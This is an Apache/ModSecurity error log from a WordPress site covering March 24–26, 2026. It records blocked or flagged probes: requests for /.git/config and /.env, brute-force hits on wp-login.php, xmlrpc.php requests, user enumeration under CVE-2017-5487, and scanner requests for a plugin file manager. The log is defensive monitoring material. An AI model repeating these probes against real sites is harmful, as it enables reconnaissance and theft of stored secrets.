[Tue Mar 24 22:03:10.800446 2026] [:error] [pid 38767:tid 38771] [client 49.51.39.209:37218] [client 49.51.39.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acKZnvwkUqN4GJAI5oVlJgAAAQE"]
[Tue Mar 24 22:31:23.063296 2026] [:error] [pid 3137:tid 3158] [client 216.81.245.214:43942] [client 216.81.245.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "acKgO5dZesutm6dfYM9VdwAAANM"]
[Tue Mar 24 22:32:48.359381 2026] [:error] [pid 64198:tid 64214] [client 43.153.62.161:55250] [client 43.153.62.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acKgkHVzJqf6OS_oSZ3f3wAAAU4"]
[Wed Mar 25 01:16:28.682409 2026] [autoindex:error] [pid 20371:tid 20387] [client 74.225.252.161:55290] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 25 01:36:30.161769 2026] [:error] [pid 57703:tid 58026] [client 83.58.177.74:52576] [client 83.58.177.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.58.177.74, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acLLnvIVQxDtjkklWGZd1wAAAEc"]
[Wed Mar 25 01:37:15.863967 2026] [:error] [pid 20371:tid 20377] [client 91.186.254.247:15323] [client 91.186.254.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.186.254.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acLLy-b25OL4yTv2fF-OQAAAAQQ"]
[Wed Mar 25 01:42:05.460092 2026] [:error] [pid 57711:tid 58058] [client 91.186.254.247:15757] [client 91.186.254.247] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acLM7aLdPFdeRRktTdNhcgAAAIY"]
[Wed Mar 25 01:43:14.267950 2026] [:error] [pid 57711:tid 58070] [client 91.186.254.247:24626] [client 91.186.254.247] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.186.254.247, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acLNMqLdPFdeRRktTdNhuQAAAJA"]
[Wed Mar 25 02:56:01.146348 2026] [:error] [pid 58154:tid 58162] [client 43.128.67.187:48728] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acLeQQ0pGUh6bwD3ouK9fwAAAMU"]
[Wed Mar 25 03:23:55.390669 2026] [:error] [pid 61656:tid 61716] [client 182.42.111.156:51039] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acLky-Oz1Hxc58W8j976YgAAAIM"]
[Wed Mar 25 03:31:59.689077 2026] [:error] [pid 62428:tid 62463] [client 43.159.149.56:57716] [client 43.159.149.56] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acLmr_hIU_wsjNikOwwzVAAAAAQ"]
[Wed Mar 25 06:41:51.507580 2026] [:error] [pid 892:tid 921] [client 185.100.216.68:55666] [client 185.100.216.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.100.216.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acMTLyT_G8WMU3T3yxpBTwAAANY"]
[Wed Mar 25 07:59:29.129517 2026] [:error] [pid 755:tid 806] [client 162.62.213.187:57302] [client 162.62.213.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acMlYaS6bdaeEwgCGwpPbgAAAEE"]
[Wed Mar 25 08:23:36.179156 2026] [autoindex:error] [pid 47989:tid 48008] [client 173.249.30.252:50535] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 25 08:56:11.513433 2026] [:error] [pid 47989:tid 48014] [client 173.239.240.17:29523] [client 173.239.240.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.240.17, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acMyqyWKdJMhIccROjm9WwAAAVc"]
[Wed Mar 25 10:09:54.784290 2026] [:error] [pid 26449:tid 26463] [client 120.71.59.24:36223] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acND8tpZ2T15NDqzAjH0ZgAAAko"]
[Wed Mar 25 13:02:58.626599 2026] [:error] [pid 47989:tid 48009] [client 43.130.34.74:38628] [client 43.130.34.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acNsgiWKdJMhIccROjkYIAAAAVI"]
[Wed Mar 25 13:41:16.597874 2026] [:error] [pid 25967:tid 25993] [client 170.106.72.178:56802] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acN1fPg8Qtq7ZM4mSFm9WwAAA1U"]
[Wed Mar 25 14:26:48.129043 2026] [autoindex:error] [pid 892:tid 899] [client 141.98.11.17:63691] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Mar 25 14:33:45.414483 2026] [:error] [pid 756:tid 850] [client 27.60.174.100:62002] [client 27.60.174.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.60.174.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acOByTOaW6oylMIDBCQKvQAAAIA"]
[Wed Mar 25 14:34:03.179965 2026] [:error] [pid 25875:tid 25905] [client 103.21.184.113:10157] [client 103.21.184.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.21.184.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acOB2xJ38QkS3NyfshyfAQAAApg"]
[Wed Mar 25 14:37:00.378477 2026] [:error] [pid 25875:tid 25894] [client 27.60.174.100:64989] [client 27.60.174.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acOCjBJ38QkS3Nyfshyf6gAAAo0"]
[Wed Mar 25 14:38:41.696355 2026] [:error] [pid 25967:tid 25988] [client 27.60.174.100:50111] [client 27.60.174.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.60.174.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acOC8fg8Qtq7ZM4mSFndpgAAA1A"]
[Wed Mar 25 14:39:49.661263 2026] [:error] [pid 25969:tid 26034] [client 103.21.184.113:10860] [client 103.21.184.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.21.184.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acODNRd3aEUmOfdKja_peAAAA8g"]
[Wed Mar 25 17:25:15.938984 2026] [:error] [pid 25967:tid 25974] [client 203.2.64.59:49813] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acOp-_g8Qtq7ZM4mSFkgUAAAA0I"]
[Wed Mar 25 18:51:04.587713 2026] [:error] [pid 26321:tid 26356] [client 43.135.182.43:46140] [client 43.135.182.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acO-GPKO65qqGZCSPZo7_gAAAg8"]
[Wed Mar 25 19:44:43.805919 2026] [:error] [pid 47989:tid 48002] [client 4.223.157.191:35824] [client 4.223.157.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acPKqyWKdJMhIccROjne3gAAAUs"]
[Wed Mar 25 21:08:34.011795 2026] [:error] [pid 26449:tid 26477] [client 45.156.87.198:65232] [client 45.156.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acPeUtpZ2T15NDqzAjGHtwAAAlg"]
[Wed Mar 25 21:08:35.985735 2026] [:error] [pid 47989:tid 47993] [client 45.156.87.198:65275] [client 45.156.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acPeUyWKdJMhIccROjn6RwAAAUI"]
[Wed Mar 25 21:08:37.405789 2026] [:error] [pid 47989:tid 48007] [client 45.156.87.198:65275] [client 45.156.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acPeVSWKdJMhIccROjn6SgAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Mar 25 21:08:43.227455 2026] [:error] [pid 47989:tid 47998] [client 45.156.87.198:65275] [client 45.156.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acPeWyWKdJMhIccROjn6WQAAAUc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Mar 25 21:08:46.936866 2026] [:error] [pid 47989:tid 48007] [client 45.156.87.198:65275] [client 45.156.87.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.156.87.198, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "acPeXiWKdJMhIccROjn6WwAAAVA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Mar 25 23:33:32.066714 2026] [:error] [pid 47989:tid 48008] [client 170.106.72.178:57796] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acQATCWKdJMhIccROjkatwAAAVE"]
[Thu Mar 26 01:10:59.551423 2026] [:error] [pid 55734:tid 55832] [client 36.111.67.189:48196] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acQXI8_x4fL7PCmNzkB97gAAAMY"]
[Thu Mar 26 04:37:54.057304 2026] [:error] [pid 19710:tid 19737] [client 49.51.141.76:43580] [client 49.51.141.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acRHogVEWP8Ar68Njk54XAAAAA8"]
[Thu Mar 26 05:09:23.045763 2026] [:error] [pid 19712:tid 19787] [client 49.51.243.95:32866] [client 49.51.243.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acRPA9WhKhRNqm23vFOgKQAAAIs"]
[Thu Mar 26 07:12:53.556316 2026] [:error] [pid 19818:tid 19844] [client 192.3.207.218:57539] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/artisan"] [unique_id "acRr9czaSnm3d1BeM5WNqwAAANg"]
[Thu Mar 26 07:12:53.984705 2026] [:error] [pid 60829:tid 60837] [client 192.3.207.218:58137] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/artisan"] [unique_id "acRr9fTdjHKeZokybaQprQAAAQY"]
[Thu Mar 26 07:12:55.098646 2026] [:error] [pid 31670:tid 31679] [client 192.3.207.218:58653] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/artisan"] [unique_id "acRr9zXVthXxCnWjOTQxsgAAAUc"]
[Thu Mar 26 07:12:55.520745 2026] [:error] [pid 31780:tid 31836] [client 192.3.207.218:59464] [client 192.3.207.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/artisan"] [unique_id "acRr95JDwZsy5O4ZXEiUUQAAAg8"]
[Thu Mar 26 07:12:56.388729 2026] [:error] [pid 31717:tid 31722] [client 192.3.207.218:59982] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "acRr-L-SCF7YDISDX49wHQAAAYA"]
[Thu Mar 26 07:12:56.808448 2026] [:error] [pid 19711:tid 19753] [client 192.3.207.218:60833] [client 192.3.207.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "acRr-Gj3l1y81GYfluRJ1AAAAEQ"]
[Thu Mar 26 07:20:20.633760 2026] [:error] [pid 31717:tid 31732] [client 102.209.218.25:11650] [client 102.209.218.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 102.209.218.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acRttL-SCF7YDISDX49x7wAAAYo"]
[Thu Mar 26 09:54:19.309779 2026] [:error] [pid 60829:tid 60854] [client 49.51.178.45:38900] [client 49.51.178.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acSRy_TdjHKeZokybaRR6gAAARc"]
[Thu Mar 26 10:25:05.746310 2026] [:error] [pid 31670:tid 31688] [client 170.106.72.93:50102] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acSZATXVthXxCnWjOTSXPwAAAVA"]
[Thu Mar 26 10:25:18.539409 2026] [autoindex:error] [pid 31778:tid 31806] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:18.701355 2026] [autoindex:error] [pid 31778:tid 31795] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:18.862815 2026] [autoindex:error] [pid 31778:tid 31815] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Mar 26 10:25:19.025125 2026] [autoindex:error] [pid 31778:tid 31808] [client 20.78.152.237:9553] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
